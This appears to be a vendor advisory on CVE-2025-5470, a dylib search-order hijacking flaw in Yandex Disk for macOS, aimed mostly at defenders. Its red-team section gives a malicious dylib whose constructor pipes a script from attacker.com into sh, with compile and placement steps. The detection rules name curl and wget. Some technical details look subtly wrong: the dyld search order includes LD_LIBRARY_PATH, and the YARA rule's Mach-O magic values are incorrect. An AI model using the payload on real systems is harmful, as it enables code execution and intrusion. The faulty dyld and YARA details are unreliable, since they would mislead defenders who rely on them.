CVE-2025-5470

Executive Summary

CVE-2025-5470 is a Uncontrolled Search Path Element vulnerability (CWE-427) affecting Yandex Disk on macOS, specifically versions prior to 3.2.45.3275. This flaw allows an attacker to perform Search Order Hijacking, where a maliciously crafted dynamic library or executable placed in a directory searched before the legitimate system path can be loaded instead of the intended component. This can lead to arbitrary code execution with the privileges of the Yandex Disk process.

The vulnerability is classified under MITRE ATT&CK tactic T1574 (Hijack Execution Flow). No public proof-of-concept (PoC) or exploit code has been identified at this time. The EPSS score is 0.0%, indicating low exploitation activity in the wild, but the risk remains significant for targeted attacks.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a native macOS application vulnerability.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0, which is likely a placeholder. Based on the vulnerability type and impact, a reasonable CVSS v3.1 vector would be:

• Attack Vector (AV): Local (L) – Requires local access to the system.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – Attacker does not need prior privileges.
• User Interaction (UI): Required (R) – User must launch the application.
• Scope (S): Unchanged (U) – The vulnerable component and the attacker's code run in the same security context.
• Confidentiality (C): High (H) – Full file system access possible.
• Integrity (I): High (H) – Arbitrary code execution.
• Availability (A): High (H) – Could crash or modify the application.

Estimated CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H Estimated Base Score: 7.8 (High)

Deep Dive & Mechanics

The vulnerability resides in the search order used by Yandex Disk on macOS to locate dynamic libraries or executables. On macOS, the dynamic linker (dyld) searches for libraries in a specific order:

1. Environment variables (e.g., DYLD_INSERT_LIBRARIES, DYLD_LIBRARY_PATH).
2. LD_LIBRARY_PATH (if set).
3. The rpath embedded in the binary.
4. Standard system paths (/usr/lib, /System/Library/Frameworks).

If Yandex Disk does not properly sanitize or restrict the search path, an attacker can place a malicious .dylib or executable in a directory that is searched before the legitimate one. For example, if the application loads a library named helper.dylib without specifying an absolute path, an attacker could place a malicious helper.dylib in the user's ~/Library/Application Support/Yandex/ directory, which might be searched before the application's bundle directory.

Attack Scenario:

1. Attacker gains local access to the target macOS system (e.g., via phishing, USB drop, or another vulnerability).
2. Attacker identifies a library or executable that Yandex Disk loads without a full path.
3. Attacker places a malicious payload (e.g., evil.dylib) in a directory that is searched before the legitimate path.
4. When the user launches Yandex Disk, the malicious library is loaded, executing arbitrary code with the user's privileges.

Vulnerable vs. Patched Code

Since no patch details are available, we can only hypothesize the fix. The vulnerable code likely uses relative paths or relies on the default search order:

Vulnerable (Conceptual):

// Vulnerable: Uses relative path, allowing search order hijacking
void load_helper() {
    void *handle = dlopen("helper.dylib", RTLD_LAZY);
    if (!handle) {
        // error handling
    }
}

Patched (Conceptual):

// Patched: Uses absolute path to prevent hijacking
void load_helper() {
    // Use absolute path from the application bundle
    NSString *path = [[NSBundle mainBundle] pathForResource:@"helper" ofType:@"dylib"];
    void *handle = dlopen([path UTF8String], RTLD_LAZY);
    if (!handle) {
        // error handling
    }
}

The patched version ensures that the library is loaded from the application's own bundle, preventing an attacker from placing a malicious version in a user-writable directory.

Exploitation & Lab Setup

Red Team (Attacker)

Objective: Achieve arbitrary code execution via search order hijacking.

Prerequisites:

• Local access to the target macOS system.
• Ability to write files to a directory searched by Yandex Disk (e.g., ~/Library/Application Support/Yandex/).

Steps:

1. Identify Target Library: Use otool -L /Applications/Yandex.Disk.app/Contents/MacOS/Yandex.Disk to list loaded libraries. Look for libraries loaded without absolute paths.
2. Create Malicious Library: Create a .dylib that executes a payload (e.g., reverse shell).

   // evil.c
   #include <stdlib.h>
   #include <string.h>
   #include <dlfcn.h>
   
   __attribute__((constructor))
   void evil_init() {
       system("osascript -e 'tell app \"Terminal\" to do script \"curl http://attacker.com/payload.sh | sh\"'");
   }
   

   Compile: gcc -dynamiclib -o evil.dylib evil.c
3. Place Malicious Library: Copy evil.dylib to a directory that is searched before the legitimate path. For example, if the vulnerable library is helper.dylib, place it in ~/Library/Application Support/Yandex/helper.dylib.
4. Trigger Execution: Launch Yandex Disk. The malicious library will be loaded, executing the payload.

Blue Team (Defender)

Detection:

• Monitor for unusual file writes to directories like ~/Library/Application Support/Yandex/ or /tmp/.
• Monitor for unexpected dlopen calls or library loads by Yandex Disk.
• Use endpoint detection and response (EDR) to alert on process injection or suspicious child processes.

Prevention:

• Apply the vendor patch immediately.
• Restrict write permissions to directories used by Yandex Disk.
• Use application whitelisting to prevent unauthorized code execution.
• Enable System Integrity Protection (SIP) on macOS.

Indicators of Compromise (IOCs)

• File Hashes (SHA256): (None available, but monitor for unknown .dylib files in application directories)
• File Paths:
  • ~/Library/Application Support/Yandex/*.dylib
  • /tmp/*.dylib (if used by the application)
• Process Names:
  • Yandex.Disk (parent process)
  • Any child processes spawned by Yandex Disk (e.g., bash, curl, python)
• Network Connections:
  • Outbound connections to attacker-controlled IPs (if payload calls home)
• Registry/Preferences:
  • Modifications to DYLD_INSERT_LIBRARIES or DYLD_LIBRARY_PATH environment variables (check via launchctl or plist files)

Detection Engineering

YARA Rule

rule CVE_2025_5470_Yandex_Disk_Hijack {
    meta:
        description = "Detects potential search order hijacking of Yandex Disk on macOS"
        author = "Valters IT"
        date = "2025-04-10"
        hash = "unknown"
    strings:
        $s1 = "Yandex.Disk" nocase
        $s2 = ".dylib" nocase
        $s3 = "DYLD_INSERT_LIBRARIES" nocase
        $s4 = "DYLD_LIBRARY_PATH" nocase
    condition:
        (uint16(0) == 0xcfc4 or uint16(0) == 0xfeed) and // Mach-O magic
        (1 of ($s1, $s2)) and
        (1 of ($s3, $s4))
}

Sigma Rule

title: Yandex Disk Search Order Hijacking Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects attempts to hijack the search order of Yandex Disk on macOS
author: Valters IT
date: 2025-04-10
logsource:
    product: macos
    category: process_creation
detection:
    selection:
        Image|endswith: '/Yandex.Disk'
        CommandLine|contains:
            - 'DYLD_INSERT_LIBRARIES'
            - 'DYLD_LIBRARY_PATH'
    condition: selection
falsepositives:
    - Legitimate debugging or testing activities
level: high

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (
    msg:"CVE-2025-5470 Yandex Disk Potential Payload Download";
    flow:to_server,established;
    content:"User-Agent|3a| Yandex.Disk";
    pcre:"/(curl|wget|powershell)/i";
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

1. Apply Vendor Patch: Update Yandex Disk to version 3.2.45.3275 or later as soon as it becomes available.
2. Restrict File Permissions: Ensure that directories used by Yandex Disk (e.g., ~/Library/Application Support/Yandex/) are not writable by unprivileged users.
3. Monitor Environment Variables: Use security tools to monitor for changes to DYLD_INSERT_LIBRARIES and DYLD_LIBRARY_PATH.
4. Application Hardening: If you are a developer, always use absolute paths when loading libraries or executables. Validate the integrity of loaded modules using code signing.
5. User Education: Train users to avoid running untrusted software or opening suspicious attachments that could lead to local access.

Valters IT
Securing Digital Frontiers